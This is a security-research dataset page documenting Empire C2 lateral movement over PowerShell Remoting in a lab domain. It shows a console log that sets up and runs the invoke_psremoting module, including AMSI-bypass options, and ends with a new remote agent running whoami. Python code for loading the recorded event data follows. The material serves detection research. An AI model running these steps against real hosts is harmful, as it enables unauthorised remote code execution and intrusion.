Empire Invoke PSRemoting
Contents
Empire Invoke PSRemoting#
Metadata#
Contributors |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2019/05/18 |
Modification Date |
2020/09/20 |
Tactics |
|
Techniques |
|
Tags |
PowerShell Remoting |
Dataset Description#
This dataset represents adversaries executing malicious code on remote hosts using PowerShell Remoting (WinRM).
Datasets Downloads#
Type |
Link |
---|---|
Host |
|
Network |
Adversary View#
(Empire: agents) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen Listener
---- -- ----------- ------------ -------- ------- --- ----- --------- ----------------
A7BWPR32 ps 172.18.39.5 WORKSTATION5 *THESHIRE\pgustavo powershell 5904 5/0.0 2020-09-18 18:29:36 http
HBEW9G1D ps 172.18.39.6 WORKSTATION6 THESHIRE\sbeavers powershell 6036 5/0.0 2020-09-18 18:15:39 http
UF5MYK42 ps 172.18.39.5 WORKSTATION5 *THESHIRE\pgustavo powershell 6404 5/0.0 2020-09-20 21:05:28 http
(Empire: agents) > interact UF5MYK42
(Empire: UF5MYK42) > usemodule lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) > set ComputerName WORKSTATION6.theshire.local
(Empire: powershell/lateral_movement/invoke_psremoting) > set Listener http
(Empire: powershell/lateral_movement/invoke_psremoting) > info
Name: Invoke-PSRemoting
Module: powershell/lateral_movement/invoke_psremoting
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: None
Authors:
@harmj0y
Description:
Executes a stager on remote hosts using PSRemoting.
Options:
Name Required Value Description
---- -------- ------- -----------
Agent True UF5MYK42 Agent to run module on.
CredID False CredID from the store to use.
ComputerName True WORKSTATION6.theshire.lo Host[s] to execute the stager on, comma
cal separated.
Listener True http Listener to use.
Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.
ObfuscateCommand False Token\All\1 The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.
AMSIBypass False True Include mattifestation's AMSI Bypass in
the stager code.
AMSIBypass2 False False Include Tal Liberman's AMSI Bypass in
the stager code.
UserName False [domain\]username to use to execute
command.
Password False Password to use to execute command.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
Proxy False default Proxy to use for request (default, none,
or other).
ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).
(Empire: powershell/lateral_movement/invoke_psremoting) > execute
[*] Tasked UF5MYK42 to run TASK_CMD_WAIT
[*] Agent UF5MYK42 tasked with task ID 2
[*] Tasked agent UF5MYK42 to run module powershell/lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) >
[*] Sending POWERSHELL stager (stage 1) to 172.18.39.6
[*] New agent L86DT27X checked in
[+] Initial agent L86DT27X from 172.18.39.6 now active (Slack)
[*] Sending agent (stage 2) to L86DT27X at 172.18.39.6
(Empire: powershell/lateral_movement/invoke_psremoting) >
(Empire: powershell/lateral_movement/invoke_psremoting) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen Listener
---- -- ----------- ------------ -------- ------- --- ----- --------- ----------------
A7BWPR32 ps 172.18.39.5 WORKSTATION5 *THESHIRE\pgustavo powershell 5904 5/0.0 2020-09-18 18:29:36 http
HBEW9G1D ps 172.18.39.6 WORKSTATION6 THESHIRE\sbeavers powershell 6036 5/0.0 2020-09-18 18:15:39 http
UF5MYK42 ps 172.18.39.5 WORKSTATION5 *THESHIRE\pgustavo powershell 6404 5/0.0 2020-09-20 21:09:08 http
L86DT27X ps 172.18.39.6 WORKSTATION6 *THESHIRE\pgustavo powershell 10116 5/0.0 2020-09-20 21:09:23 http
(Empire: agents) > interact L86DT27X
(Empire: L86DT27X) > shell whoami
[*] Tasked L86DT27X to run TASK_SHELL
[*] Agent L86DT27X tasked with task ID 1
(Empire: L86DT27X) >
theshire\pgustavo
..Command execution completed.
(Empire: L86DT27X) >
Explore Datasets#
Download & Decompress Dataset#
import requests
from zipfile import ZipFile
from io import BytesIO
url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/lateral_movement/host/empire_psremoting_stager.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])
Read JSON File#
from pandas.io import json
df = json.read_json(path_or_buf=datasetJSONPath, lines=True)
Access Security Events#
df.groupby(['Channel']).size().sort_values(ascending=False)